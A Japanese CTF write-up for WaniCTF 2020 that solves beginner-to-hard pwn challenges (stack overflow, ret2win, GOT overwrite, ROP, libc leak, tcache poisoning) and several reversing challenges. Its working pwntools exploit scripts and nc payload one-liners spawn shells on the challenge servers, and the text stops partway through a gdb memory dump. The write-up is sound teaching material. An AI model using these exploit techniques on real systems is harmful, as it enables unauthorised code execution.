flag.txt
redir.sh
cat flag.txt
FLAG{netcat-1s-sw1ss-4rmy-kn1fe}

[PWN Beginner] var rewrite

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

void init();
void debug_stack_dump(unsigned long rsp, unsigned long rbp);

char str_head[] = "hello ";
char str_tail[] = "!\n";

void win()
{
    puts("Congratulation!");
    system("/bin/sh");
    exit(0);
}

void vuln()
{
    char target[] = "HACKASE";
    char name[10];
    char *p;
    int ret;

    printf("What's your name?: ");
    ret = read(0, name, 0x100);
    name[ret - 1] = 0;

    write(0, str_head, strlen(str_head));
    write(0, name, strlen(name));
    write(0, str_tail, strlen(str_tail));

    if (strncmp(target, "WANI", 4) == 0)
    {
        win();
    }
    else
    {
        printf("target = %s\n", target);
    }

    { //for learning stack
        register unsigned long rsp asm("rsp");
        register unsigned long rbp asm("rbp");
        debug_stack_dump(rsp, rbp);
    }
}

int main()
{
    init();
    while (1)
    {
        vuln();
    }
}

void init()
{
    alarm(30);
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}

void debug_stack_dump(unsigned long rsp, unsigned long rbp)
{
    unsigned long i;
    printf("\n***start stack dump***\n");
    i = rsp;
    while (i <= rbp + 8)
    {
        unsigned long *p;
        p = (unsigned long *)i;
        printf("0x%lx: 0x%016lx", i, *p);
        if (i == rsp)
        {
            printf(" <- rsp");
        }
        else if (i == rbp)
        {
            printf(" <- rbp");
        }
        else if (i == rbp + 8)
        {
            printf(" <- return address");
        }
        printf("\n");
        i += 8;
    }
    printf("***end stack dump***\n\n");
}

Buffer Over Flowがあり、ローカル変数のtargetをWANIに置き換えることができたら勝ちです。

-> (python3 -c 'import sys; sys.stdout.buffer.write(b"A"*10 + b"WANI\n")';cat) | nc var.wanictf.org 9002
-bash: warning: 1763: maybe_give_terminal_to: terminal pgrp == 1762 shell pgrp = 8 new pgrp = 8 in_background = 0
What's your name?: hello AAAAAAAAAAWANI!
Congratulation!
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{1ets-1earn-stack-w1th-b0f-var1ab1e-rewr1te}

[PWN Easy] binsh address

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

char str_head[] = "Please input \"";
char binsh[] = "/bin/sh";
char str_tail[] = "\" address as a hex number: ";

void init();

void vuln()
{
    char name[0x20];
    unsigned long int val;
    char *p;
    int ret;

    write(0, str_head, strlen(str_head));
    write(0, binsh, strlen(binsh));
    write(0, str_tail, strlen(str_tail));

    ret = read(0, name, 0x20);
    name[ret - 1] = 0;
    val = strtol(name, NULL, 16);
    printf("Your input address is 0x%lx.\n", val);
    p = (char *) val;
    if(p == binsh){
        puts("Congratulation!");
        system(p);
        exit(0);
    }else{
        puts("You are wrong.\n\n");
    }
}

int main()
{
    init();
    printf("The address of \"input  \" is 0x%lx.\n", (unsigned long int) str_head);    
    while (1)
    {
        vuln();
    }
}

void init()
{
    alarm(30);
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}

"Please Input ""のアドレスが与えられるので、"/bin/sh"のアドレスを答えられれば勝ちです。

-> strings -tx pwn03
...
   2010 Please input "
   2020 /bin/sh
...

/bin/shはPlease Inputに0x10足したアドレスにあるようなので、与えられたアドレスに+0x10すればよいです。

-> nc binsh.wanictf.org 9003
The address of "input  " is 0x55bf11ae8010.
Please input "/bin/sh" address as a hex number: 0x55bf11ae8020
Your input address is 0x55bf11ae8020.
Congratulation!
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{cAn-f1nd-str1ng-us1ng-str1ngs}
FLAG{cAn-f1nd-str1ng-us1ng-str1ngs}

[PWN Normal] ret rewrite

char str_head[] = "Hello ";
char str_tail[] = "!\n";

void vuln()
{
    char name[10];
    int ret;

    printf("What's your name?: ");
    ret = read(0, name, 0x100);
    name[ret - 1] = 0;

    write(0, str_head, strlen(str_head));
    write(0, name, strlen(name));
    write(0, str_tail, strlen(str_tail));

    { //for learning stack
        register unsigned long rsp asm("rsp");
        register unsigned long rbp asm("rbp");
        debug_stack_dump(rsp, rbp);
    }
}

int main()
{
    init();
    while (1)
    {
        vuln();
    }
}

一部抜粋。BOFからret2winすればよいです。

def solve(io):
    win_addr = 0x400837
    ret_addr = 0x0000000000400696
    io.sendline(b"A"*22 + p64(ret_addr) + p64(win_addr))
    io.interactive()

stackのアライメントがあるのでret gadgetを間に入れましょう。

-> python3 solve.py remote
[+] Opening connection to ret.wanictf.org on port 9005: Done
[*] Switching to interactive mode
What's your name?: Hello AAAAAAAAAA'!

***start stack dump***
0x7ffff423dcd0: 0x414141414141ddd0 <- rsp
0x7ffff423dcd8: 0x0000002741414141
0x7ffff423dce0: 0x4141414141414141 <- rbp
0x7ffff423dce8: 0x0000000000400696 <- return address
0x7ffff423dcf0: 0x0000000000400837
0x7ffff423dcf8: 0x00007f2f143cfb00
0x7ffff423dd00: 0x0000000000000001
***end stack dump***

congratulation!
$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
FLAG{1earning-how-return-address-w0rks-on-st4ck}
FLAG{1earning-how-return-address-w0rks-on-st4ck}

[PWN Easy] got rewriter

void vuln()
{
    char str_val[0x20];
    unsigned long int val;
    unsigned long int *p;
    int ret;

    printf("Please input target address (0x600e10-0x6010b0): ");
    ret = read(0, str_val, 0x20);
    str_val[ret - 1] = 0;
    val = strtol(str_val, NULL, 16);
    printf("Your input address is 0x%lx.\n", val);
    if (val < 0x600e10 || val > 0x6010b0)
    {
        printf("you can't rewrite 0x%lx!\n", val);
        return;
    }
    p = (unsigned long int *)val;

    printf("Please input rewrite value: ");
    ret = read(0, str_val, 0x20);
    str_val[ret - 1] = 0;
    val = strtol(str_val, NULL, 16);
    printf("Your input rewrite value is 0x%lx.\n\n", val);

    printf("*0x%lx <- 0x%lx.\n\n\n", (unsigned long int)p, val);
    *p = val;
}

int main()
{
    init();
    puts("Welcome to GOT rewriter!!!");
    printf("win = 0x%lx\n", (unsigned long int)win);
    while (1)
    {
        vuln();
    }
}

一部抜粋。GOTを書き替えられるようなので、適当な関数をwinに置き替えましょう。

-> objdump -d pwn04 | grep printf
00000000004006d0 <printf@plt>:
  4006d0:       ff 25 62 09 20 00       jmpq   *0x200962(%rip)        # 601038 <printf@GLIBC_2.2.5>
  400850:       e8 7b fe ff ff          callq  4006d0 <printf@plt>
  4008a8:       e8 23 fe ff ff          callq  4006d0 <printf@plt>
  4008d4:       e8 f7 fd ff ff          callq  4006d0 <printf@plt>
  4008f2:       e8 d9 fd ff ff          callq  4006d0 <printf@plt>
  40094a:       e8 81 fd ff ff          callq  4006d0 <printf@plt>
  400966:       e8 65 fd ff ff          callq  4006d0 <printf@plt>
  4009bc:       e8 0f fd ff ff          callq  4006d0 <printf@plt>
-> objdump -d pwn04 | grep win
0000000000400807 <win>:
  4009a6:       48 8d 05 5a fe ff ff    lea    -0x1a6(%rip),%rax        # 400807 <win>
-> nc got.wanictf.org 9004
Welcome to GOT rewriter!!!
win = 0x400807
Please input target address (0x600e10-0x6010b0): 601038
Your input address is 0x601038.
Please input rewrite value: 400807
Your input rewrite value is 0x400807.

*0x601038 <- 0x400807.


congratulation!
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{we-c4n-f1y-with-gl0b41-0ffset-tab1e}
FLAG{we-c4n-f1y-with-gl0b41-0ffset-tab1e}

[PWN Normal] rop func call

char str_head[] = "hello ";
char str_tail[] = "!\n";
char binsh[] = "/bin/sh";

void vuln()
{
    char name[10];
    int ret;

    printf("What's your name?: ");
    ret = read(0, name, 0x100);
    name[ret - 1] = 0;

    write(0, str_head, strlen(str_head));
    write(0, name, strlen(name));
    write(0, str_tail, strlen(str_tail));

    { //for learning stack
        register unsigned long rsp asm("rsp");
        register unsigned long rbp asm("rbp");
        debug_stack_dump(rsp, rbp);
    }
}

int main()
{
    init();
    system("echo Welcome to rop function call!!!");
    while (1)
    {
        vuln();
    }
}

ご丁寧にsystemも/bin/shも用意されてるのでROPをするだけです。これもret gadgetを挟みます。

def solve(io):
    binary = ELF("./pwn06")
    pop_rdi = 0x0000000000400a53
    bin_sh = next(binary.search(b"/bin/sh\x00"))
    ret_addr = 0x000000000040065e
    payload = b""
    payload += b"A"*22
    payload += p64(pop_rdi)
    payload += p64(bin_sh)
    payload += p64(ret_addr)
    payload += p64(binary.sym["system"])
    io.sendline(payload)
    io.interactive()
-> python3 solve.py remote
[+] Opening connection to rop.wanictf.org on port 9006: Done
[*] Switching to interactive mode
Welcome to rop function call!!!
What's your name?: hello AAAAAAAAAA7!

***start stack dump***
0x7ffc5bdb79b0: 0x4141414141410000 <- rsp
0x7ffc5bdb79b8: 0x0000003741414141
0x7ffc5bdb79c0: 0x4141414141414141 <- rbp
0x7ffc5bdb79c8: 0x0000000000400a53 <- return address
0x7ffc5bdb79d0: 0x0000000000601080
0x7ffc5bdb79d8: 0x000000000040065e
0x7ffc5bdb79e0: 0x00000000004006c0
***end stack dump***

$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
FLAG{learning-rop-and-x64-system-call}
FLAG{learning-rop-and-x64-system-call}

[PWN Hard] one gadget rce

void vuln()
{
    char name[10];
    int ret;

    printf("What's your name?: ");
    ret = read(0, name, 0x100);
    name[ret - 1] = 0;

    write(0, str_head, strlen(str_head));
    write(0, name, strlen(name));
    write(0, str_tail, strlen(str_tail));

    { //for learning stack
        register unsigned long rsp asm("rsp");
        register unsigned long rbp asm("rbp");
        debug_stack_dump(rsp, rbp);
    }
}

int main()
{
    init();
    puts("Welcome to one-gadget RCE!!!");
    while (1)
    {
        vuln();
    }
}

ROPができますが今回はsystem関数もバイナリ中にないためlibc leakをする必要があります。

GOTにはlibcのaddressが入るのでそれを出力させてlibc leakした後、もう一回mainに飛べば続けてROPすることができます。(ret2vulnというテクニックらしい)

def solve(io):
    one_gadget = 0x4f3d5
    pop_rdi = 0x0000000000400a13
    ret_addr = 0x0000000000400626
    binary = ELF("./pwn07")
    payload = b""
    payload += b"A"*22
    payload += p64(pop_rdi)
    payload += p64(binary.got["puts"])
    payload += p64(binary.plt["puts"])
    payload += p64(binary.sym["main"])
    io.sendline(payload)

    [io.recvline() for i in range(13)]
    puts_addr = u64(io.recvline().rstrip().ljust(8, b"\x00"))
    log.info(f"puts: {puts_addr:x}")
    libc.address = puts_addr - libc.sym["puts"]
    log.info(f"libc: {libc.address:x}")

    payload = b""
    payload += b"A"*22
    payload += p64(pop_rdi)
    payload += p64(next(libc.search(b"/bin/sh\x00")))
    payload += p64(ret_addr)
    payload += p64(libc.sym["system"])
    io.sendline(payload)
    io.interactive()
-> python3 solve.py remote
[+] Opening connection to rce.wanictf.org on port 9007: Done
[*] puts: 7fa01618daa0
[*] libc: 7fa01610d000
[*] Switching to interactive mode
Welcome to one-gadget RCE!!!
What's your name?: hello AAAAAAAAAA7!

***start stack dump***
0x7ffc3d5e6b40: 0x4141414141416b60 <- rsp
0x7ffc3d5e6b48: 0x0000003741414141
0x7ffc3d5e6b50: 0x4141414141414141 <- rbp
0x7ffc3d5e6b58: 0x0000000000400a13 <- return address
0x7ffc3d5e6b60: 0x00007fa0162c0e1a
0x7ffc3d5e6b68: 0x0000000000400626
0x7ffc3d5e6b70: 0x00007fa01615c550
***end stack dump***

$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
FLAG{mem0ry-1eak-4nd-0ne-gadget-rem0te-ce}
FLAG{mem0ry-1eak-4nd-0ne-gadget-rem0te-ce}

[PWN VeryHard] heap

ソースコードは無し。バイナリとlibc-2.27.soが与えられます。

ざっと動かすとheap問でよくある形式であることがわかります。

-> ./pwn08
Welcome to memo application!!!
1: add memo
2: edit memo
3: view memo
9: del memo
command?:

Cutterというradare2のGUI版に内蔵されているGhidraを使って解読します。

mainからcommandを呼んでいるのでcommandを見てみます。

void command(void)
{
    int32_t iVar1;
    int32_t iVar2;
    undefined8 uVar3;
    int64_t var_ch;
    
    print_menu();
    iVar1 = get_int();
    printf("index?[0-9]: ");
    iVar2 = get_int();
    if (iVar1 == 2) {
        printf("memo?: ");
        read(0, *(undefined8 *)(g_memos + (int64_t)iVar2 * 8), 0x100);
    } else {
        if (iVar1 < 3) {
            if (iVar1 == 1) {
                printf("size?: ");
                iVar1 = get_int();
                uVar3 = malloc((int64_t)iVar1);
                *(undefined8 *)(g_memos + (int64_t)iVar2 * 8) = uVar3;
            }
        } else {
            if (iVar1 == 3) {
                puts(*(undefined8 *)(g_memos + (int64_t)iVar2 * 8));
            } else {
                if (iVar1 == 9) {
                    free(*(undefined8 *)(g_memos + (int64_t)iVar2 * 8));
                    *(undefined8 *)(g_memos + (int64_t)iVar2 * 8) = 0;
                }
            }
        }
    }
    return;
}

g_memosというグローバル変数があり、そこにmallocしたアドレスが格納されているようです。

1: g_memos[index] = malloc(size);

2: read(0, g_memos[index], 0x100);

3: puts(g_memos[index]);

9: free(g_memos[index]); g_memos[index] = NULL;

といったところでしょうか。

さて、2では0x100文字読みこむことができますがmallocするサイズはこちらで決められるので、0x100以下のサイズのチャンクに0x100文字読みこむことが可能です。HeapOverFlowですね。

では脆弱性がわかったので方針を考えましょう。tcacheが有効なのでtcache poisoningが使えそうです。

次にlibc leakの方法です。最初はunsorted binを使おうと思ってましたが、libcを切り替えるためのpatchelfが動かずFSBを使いました。main_arenaのアドレスを調べる良い方法があれば誰か教えて下さい...

def solve(io):
    binary = ELF("./pwn08")
    add(io, 0, 20)
    add(io, 1, 20)
    add(io, 2, 20)
    delete(io, 2)
    delete(io, 1)
    # tcache => 1 => 2

    payload = b""
    payload += b"A" * 0x18
    payload += p64(0x21)  # size
    payload += p64(binary.got["puts"])  # fd
    payload += p64(0)  # key
    edit(io, 0, payload)

    delete(io, 1)
    # tcache => 1 => puts@got
    add(io, 1, 20)
    # tcache => puts@got
    add(io, 2, 20)  # 2のアドレスがputs@gotになる

    # FSB用のチャンク
    add(io, 3, 100)
    # FSBをするためにputs@gotをprintf@pltに置き換える
    edit(io, 2, p64(binary.plt["printf"]))
    # FSBでlibc leak
    edit(io, 3, "%11$llx")
    result = view(io, 3)
    leak = int(result, 16)
    log.info(f"leak: {leak:x}")
    
    libc.address = leak - (libc.sym["__libc_start_main"] + 231)
    log.info(f"libc base: {libc.address:x}")

    # puts@gotをsystemに置き換える
    edit(io, 2, p64(libc.sym["system"]))
    edit(io, 3, "/bin/sh\x00")
-> python3 solve.py remote
[+] Opening connection to heap.wanictf.org on port 9008: Done
[*] add 0
[*] add 1
[*] add 2
[*] delete 2
[*] delete 1
[*] edit 0 => b'AAAAAAAAAAAAAAAAAAAAAAAA!\x00\x00\x00\x00\x00\x00\x00  `\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
[*] delete 1
[*] add 1
[*] add 2
[*] add 3
[*] edit 2 => b'\xd0\x06@\x00\x00\x00\x00\x00'
[*] edit 3 => %11$llx
[*] leak: 7f6896b66bf7
[*] libc base: 7f6896b45000
[*] edit 2 => b'PE\xb9\x96h\x7f\x00\x00'
[*] edit 3 => /bin/sh\x00[*] Switching to interactive mode
sh: 4: [[[list: not found
***** 0 *****
sh: 1: AAAAAAAAAAAAAAAAAAAAAAAA!: not found
***** 1 *****
sh: 1: Syntax error: EOF in backquote substitution
***** 2 *****
sh: 1: PE\xb9\x96h\x7f: not found
***** 3 *****
$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
FLAG{I-am-a-heap-beginner}
FLAG{I-am-a-heap-beginner}

[Reversing Beginner] strings

-> strings strings | grep FLAG
FLAG{s0me_str1ngs_rem4in_1n_t7e_b1nary}
FLAG{s0me_str1ngs_rem4in_1n_t7e_b1nary}

[Reversing Normal] simple

radare2で見るとフラグを変数に格納しているのがわかります。

[0x00000630]> aaaa
...
[0x00000630]> pdf @ main
            ; DATA XREF from entry0 @ 0x64d
┌ 328: int main (int argc, char **argv, char **envp);
...
│      │└─> 0x00000793      c6459046       mov byte [var_70h], 0x46    ; 'F'
│      │    0x00000797      c645914c       mov byte [var_6fh], 0x4c    ; 'L'
│      │    0x0000079b      c6459241       mov byte [var_6eh], 0x41    ; 'A'
│      │    0x0000079f      c6459347       mov byte [var_6dh], 0x47    ; 'G'
│      │    0x000007a3      c645947b       mov byte [var_6ch], 0x7b    ; '{'
│      │    0x000007a7      c6459535       mov byte [var_6bh], 0x35    ; '5'
│      │    0x000007ab      c6459669       mov byte [var_6ah], 0x69    ; 'i'
│      │    0x000007af      c645976d       mov byte [var_69h], 0x6d    ; 'm'
│      │    0x000007b3      c6459870       mov byte [var_68h], 0x70    ; 'p'
│      │    0x000007b7      c6459931       mov byte [var_67h], 0x31    ; '1'
│      │    0x000007bb      c6459a65       mov byte [var_66h], 0x65    ; 'e'
│      │    0x000007bf      c6459b5f       mov byte [var_65h], 0x5f    ; '_'
│      │    0x000007c3      c6459c52       mov byte [var_64h], 0x52    ; 'R'
│      │    0x000007c7      c6459d65       mov byte [var_63h], 0x65    ; 'e'
│      │    0x000007cb      c6459e76       mov byte [var_62h], 0x76    ; 'v'
│      │    0x000007cf      c6459f65       mov byte [var_61h], 0x65    ; 'e'
│      │    0x000007d3      c645a072       mov byte [var_60h], 0x72    ; 'r'
│      │    0x000007d7      c645a173       mov byte [var_5fh], 0x73    ; 's'
│      │    0x000007db      c645a231       mov byte [var_5eh], 0x31    ; '1'
│      │    0x000007df      c645a36e       mov byte [var_5dh], 0x6e    ; 'n'
│      │    0x000007e3      c645a467       mov byte [var_5ch], 0x67    ; 'g'
│      │    0x000007e7      c645a55f       mov byte [var_5bh], 0x5f    ; '_'
│      │    0x000007eb      c645a634       mov byte [var_5ah], 0x34    ; '4'
│      │    0x000007ef      c645a772       mov byte [var_59h], 0x72    ; 'r'
│      │    0x000007f3      c645a872       mov byte [var_58h], 0x72    ; 'r'
│      │    0x000007f7      c645a961       mov byte [var_57h], 0x61    ; 'a'
│      │    0x000007fb      c645aa79       mov byte [var_56h], 0x79    ; 'y'
│      │    0x000007ff      c645ab5f       mov byte [var_55h], 0x5f    ; '_'
│      │    0x00000803      c645ac35       mov byte [var_54h], 0x35    ; '5'
│      │    0x00000807      c645ad74       mov byte [var_53h], 0x74    ; 't'
│      │    0x0000080b      c645ae72       mov byte [var_52h], 0x72    ; 'r'
│      │    0x0000080f      c645af69       mov byte [var_51h], 0x69    ; 'i'
│      │    0x00000813      c645b06e       mov byte [var_50h], 0x6e    ; 'n'
│      │    0x00000817      c645b167       mov byte [var_4fh], 0x67    ; 'g'
│      │    0x0000081b      c645b273       mov byte [var_4eh], 0x73    ; 's'
│      │    0x0000081f      c645b37d       mov byte [var_4dh], 0x7d    ; '}'
...
FLAG{5imp1e_Revers1ng_4rray_5trings}

[Reversing Hard] complex

CutterのGhidraで見ていきます。

undefined8 main(void)
{
    int32_t iVar1;
    int64_t iVar2;
    char *dest;
    char *src;
    undefined auStack30 [14];
    uint32_t var_8h;
    undefined8 var_4h;
    
    printf("input flag : ");
    __isoc99_scanf(0x1dc2, &src);
    iVar2 = strlen(&src);
    if (((iVar2 != 0x2b) || (iVar1 = strncmp(&src, "FLAG{", 5), iVar1 != 0)) ||
       (iVar1 = strcmp(auStack30, 0x1dcb), iVar1 != 0)) {
        puts("Incorrect");
        return 1;
    }
    strncpy(&dest, (int64_t)&src + 5, 0x25);
    var_4h._0_4_ = 0;
    do {
        if (0x13 < (int32_t)(uint32_t)var_4h) {
            return 0;
        }
        var_8h = check((uint32_t)var_4h, (int64_t)&dest);
        if (var_8h != 0) {
            if (var_8h == 1) {
                puts("Incorrect");
                return 1;
            }
            if (var_8h == 2) {
                printf("Correct! Flag is %s\n", &src);
                return 0;
            }
        }
        var_4h._0_4_ = (uint32_t)var_4h + 1;
    } while( true );
}

srcには入力した文字列が入り、destにはpythonで言えばsrc[5:-1]が入るようです。

そしてcheck(0~0x13, dest)を実行して、結果が2ならフラグが得られるようです。check関数を見てみます。

void check(uint32_t arg1, int64_t arg2)
{
    int64_t var_20h;
    uint32_t var_14h;
    int64_t var_4h;
    
    // switch table (20 cases) at 0x1d64
    switch(arg1) {
    case 0:
        check_0(arg2);
        break;
    case 1:
        check_1(arg2);
        break;
    ...
        break;
    case 0x13:
        check_19(arg2);
    }
    return;
}

check_0からcheck_19までをswitchで実行しているようです。とりあえずcheck_0を見てみます。

undefined8 check_0(int64_t arg1)
{
    int64_t var_68h;
    int64_t var_60h;
    int64_t var_58h;
    int64_t var_50h;
    int64_t var_48h;
    int64_t var_40h;
    int64_t var_30h;
    int64_t var_28h;
    int64_t var_20h;
    int64_t var_18h;
    int64_t var_10h;
    undefined8 var_4h;
    
    var_30h = 0x3935353537343531;
    var_28h = 0x3235383535313332;
    var_20h = 0x3434363234303130;
    var_18h = 0x3732363635303234;
    var_10h._0_4_ = 0x36353831;
    var_10h._4_1_ = 0x36;
    var_60h = 0x5b5a41545a515459;
    var_58h = 0x6d54515d565f5240;
    var_50h = 0x6b5f555340435442;
    var_48h = 0x5255594246594055;
    var_40h._0_4_ = 0x5f415d5f;
    var_40h._4_1_ = 0x55;
    var_4h._0_4_ = 0;
    while( true ) {
        if (0x24 < (int32_t)var_4h) {
            return 1;
        }
        if (((int32_t)*(char *)((int64_t)&var_30h + (int64_t)(int32_t)var_4h) ^
            (uint32_t)*(uint8_t *)(arg1 + (int32_t)var_4h)) !=
            (int32_t)*(char *)((int64_t)&var_60h + (int64_t)(int32_t)var_4h)) break;
        var_4h._0_4_ = (int32_t)var_4h + 1;
    }
    return 0;
}

引数と謎の値らをXORして、正しいかどうか判断してるように見えますが、実際は!=を使っているため文字列が間違っているなら0(正常)を返し, そうでないなら1(異常)を返しています。何かおかしいですね。

しかも返す値は0か1で、2はありません。2を返す関数がないか見ると、check_13がそれを返すようです。

undefined8 check_13(int64_t arg1)
{
    int64_t var_68h;
    int64_t var_60h;
    int64_t var_58h;
    int64_t var_50h;
    int64_t var_48h;
    int64_t var_40h;
    int64_t var_30h;
    int64_t var_28h;
    int64_t var_20h;
    int64_t var_18h;
    int64_t var_10h;
    undefined8 var_4h;
    
    var_30h = 0x3131393431333637;
    var_28h = 0x3435313837393235;
    var_20h = 0x3635313836343636;
    var_18h = 0x3834303131353334;
    var_10h._0_4_ = 0x34323435;
    var_10h._4_1_ = 0x37;
    var_60h = 0x6e44564d6e575f53;
    var_58h = 0x576a48545b585747;
    var_50h = 0x535d45675d57535e;
    var_48h = 0x675a42444550416b;
    var_40h._0_4_ = 0x415e5543;
    var_40h._4_1_ = 0x52;
    var_4h._0_4_ = 0;
    while( true ) {
        if (0x24 < (int32_t)var_4h) {
            return 2;
        }
        if (((int32_t)*(char *)((int64_t)&var_30h + (int64_t)(int32_t)var_4h) ^
            (uint32_t)*(uint8_t *)(arg1 + (int32_t)var_4h)) !=
            (int32_t)*(char *)((int64_t)&var_60h + (int64_t)(int32_t)var_4h)) break;
        var_4h._0_4_ = (int32_t)var_4h + 1;
    }
    return 1;
}

今度は間違っているとき1(異常)を返し、合っているとき2(フラグと一致)を返しています。当たりですね。

あとは値同士をXORしてフラグを手に入れます。

key = [0x3131393431333637, 0x3435313837393235, 0x3635313836343636, 0x3834303131353334, 0x34323435, 0x37]
answer = [0x6e44564d6e575f53, 0x576a48545b585747, 0x535d45675d57535e, 0x675a42444550416b, 0x415e5543, 0x52]
flag = b"".join([(ki ^ ai).to_bytes(8, "little") for ki, ai in zip(key, answer)])
print(flag)
-> python3 solve.py
b'did_you_really_check_the_return_valu\x00\x00\x00\x00e\x00\x00\x00\x00\x00\x00\x00'
FLAG{did_you_really_check_the_return_value}

[Reversing VeryHard] static

バイナリが与えられます。まずstringsしてみてと問題文で言われたのでしてみると、ある文字列が目に入ります。

-> strings static
...
$Id: UPX 3.96 Copyright (C) 1996-2020 the UPX Team. All Rights Reserved. $
...

upxを使って圧縮していそうです。解凍して再度調べてみます。

-> upx -d static
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2020
UPX 3.96        Markus Oberhumer, Laszlo Molnar & John Reiser   Jan 23rd 2020

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
    905656 <-    348592   38.49%   linux/amd64   static

Unpacked 1 file.

-> file static
static: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=b511e4b318031c1be104cd6b3c0724e70d63e1ec, stripped

static strippedなバイナリです。Cutterで見ていきますが、Ghidraがあまり役に立たなかったのでグラフで見ます。

f:id:Satoooon1024:20201123195841p:plain

fcn.00400c4eの返り値で判断されているのでそこを見てみます。

uint64_t fcn.00400c4e(int64_t arg1)
{
    uint8_t uVar1;
    uint32_t uVar2;
    uint64_t uVar3;
    int64_t in_FS_OFFSET;
    int64_t var_1a8h;
    uint32_t var_19ch;
    undefined8 var_198h;
    int64_t var_190h;
    undefined4 var_188h;
    undefined4 var_184h;
    undefined4 var_180h;
    undefined4 var_17ch;
    undefined4 var_178h;
    undefined4 var_174h;
    undefined4 var_170h;
    undefined4 var_16ch;
    undefined4 var_168h;
    undefined4 var_164h;
    undefined4 var_160h;
    undefined4 var_15ch;
    undefined4 var_158h;
    undefined4 var_154h;
    undefined4 var_150h;
    undefined4 var_14ch;
    undefined4 var_148h;
    undefined4 var_144h;
    undefined4 var_140h;
    undefined4 var_13ch;
    undefined4 var_138h;
    undefined4 var_134h;
    undefined4 var_130h;
    undefined4 var_12ch;
    undefined4 var_128h;
    undefined4 var_124h;
    undefined4 var_120h;
    undefined4 var_11ch;
    undefined4 var_118h;
    undefined4 var_114h;
    undefined4 var_110h;
    undefined4 var_10ch;
    undefined4 var_108h;
    undefined4 var_104h;
    undefined4 var_100h;
    undefined4 var_fch;
    undefined4 var_f8h;
    undefined4 var_f4h;
    undefined4 var_f0h;
    undefined4 var_ech;
    undefined4 var_e8h;
    undefined4 var_e4h;
    undefined4 var_e0h;
    undefined4 var_dch;
    undefined4 var_d8h;
    undefined4 var_d4h;
    uint32_t var_d0h [50];
    int64_t var_8h;
    
    var_8h = *(int64_t *)(in_FS_OFFSET + 0x28);
    uVar1 = 0;
    var_190h._0_4_ = 0x63c1d9cb;
    var_190h._4_4_ = 0x383f1bb2;
    var_188h = 0x4107dd90;
    var_184h = 0x34841fb5;
    var_180h = 0x3ebdf538;
    var_17ch = 0x31565585;
    var_178h = 0x4def055e;
    var_174h = 0x1bfdeb79;
    var_170h = 0x24118ff9;
    var_16ch = 0x272298e8;
    var_168h = 0x7abcb5e2;
    var_164h = 0x9466371;
    var_160h = 0x7799b008;
    var_15ch = 0x172289a0;
    var_158h = 0x401a25a3;
    var_154h = 0x39ce61b8;
    var_150h = 0x56ec69a8;
    var_14ch = 0x106f1fbc;
    var_148h = 0x77fc40dd;
    var_144h = 0x4828ae9d;
    var_140h = 0x2252bab7;
    var_13ch = 0x45935dcc;
    var_138h = 0x7565bd9a;
    var_134h = 0x5ae240c0;
    var_130h = 0x20edd601;
    var_12ch = 0x47362402;
    var_128h = 0xb61fcc7;
    var_124h = 0x7c7607b7;
    var_120h = 0x6cf7737d;
    var_11ch = 0x522262fa;
    var_118h = 0x5ee1319b;
    var_114h = 0x50b94ca2;
    var_110h = 0xa617e04;
    var_10ch = 0x1fe90f3c;
    var_108h = 0x53d6c81;
    var_104h = 0x491f731d;
    var_100h = 0x513f6544;
    var_fch = 0x532c71b5;
    var_f8h = 0x651d5efb;
    var_f4h = 0x7550f572;
    var_f0h = 0x7a4f0aff;
    var_ech = 0x5fda144e;
    var_e8h = 0x7e975877;
    var_e4h = 0x71e8ba89;
    var_e0h = 0x76fc9db7;
    var_dch = 0x3eb17e6f;
    var_d8h = 0x2bb71c42;
    var_d4h = 0x4de907f2;
    fcn.0040f240(0x12bb0b7);
    var_198h._0_4_ = 0;
    while ((int32_t)var_198h < 0x30) {
        uVar2 = fcn.0040fa30();
        var_d0h[(int32_t)var_198h] = uVar2;
        var_198h._0_4_ = (int32_t)var_198h + 1;
    }
    var_198h._4_4_ = 0;
    while (var_198h._4_4_ < 0x30) {
        if (((uint32_t)*(uint8_t *)(arg1 + var_198h._4_4_) ^ var_d0h[var_198h._4_4_]) !=
            *(uint32_t *)((int64_t)&var_190h + (int64_t)var_198h._4_4_ * 4)) {
            uVar1 = 1;
        }
        var_198h._4_4_ = var_198h._4_4_ + 1;
    }
    uVar3 = (uint64_t)uVar1;
    if (var_8h != *(int64_t *)(in_FS_OFFSET + 0x28)) {
        uVar3 = fcn.00450650();
    }
    return uVar3;
}

怪しげなテーブルがありました。当たりですね。

見てみると一つ目のループではfcn.0040fa30を使って新しくvar_d0hにテーブルを作ってるのがわかります。

そのテーブルとvar_190hのテーブルでXORを取ればフラグが出てきそうです。

恐らく入力に依存しないので、深掘りせずにgdbで覗いてテーブルを手に入れましょう。

-> gdb ./static
...
pwndbg> b *0x00400e95
Breakpoint 1 at 0x400e95
pwndbg> r
Starting program: /mnt/c/Users/shinji/MyFiles/CTF/WaniCTF2020/static/static
input flag : FLAG{123456781234567812345678123456781234567812345678}

Breakpoint 1, 0x0000000000400e95 in ?? ()
...
pwndbg> x/48wx $rbp-0x190
0x7fffffffe030: 0x63c1d9cb      0x383f1bb2      0x4107dd90      0x34841fb5
0x7fffffffe040: 0x3ebdf538      0x31565585      0x4def055e      0x1bfdeb79
0x7fffffffe050: 0x24118ff9      0x272298e8      0x7abcb5e2      0x09466371
0x7fffffffe060: 0x7799b008      0x172289a0      0x401a25a3      0x39ce61b8
0x7fffffffe070: 0x56ec69a8      0x106f1fbc      0x77fc40dd      0x4828ae9d
0x7fffffffe080: 0x2252bab7      0x45935dcc      0x7565bd9a      0x5ae240c0
0x7fffffffe090: 0x20edd601      0x47362402      0x0b61fcc7      0x7c7607b7
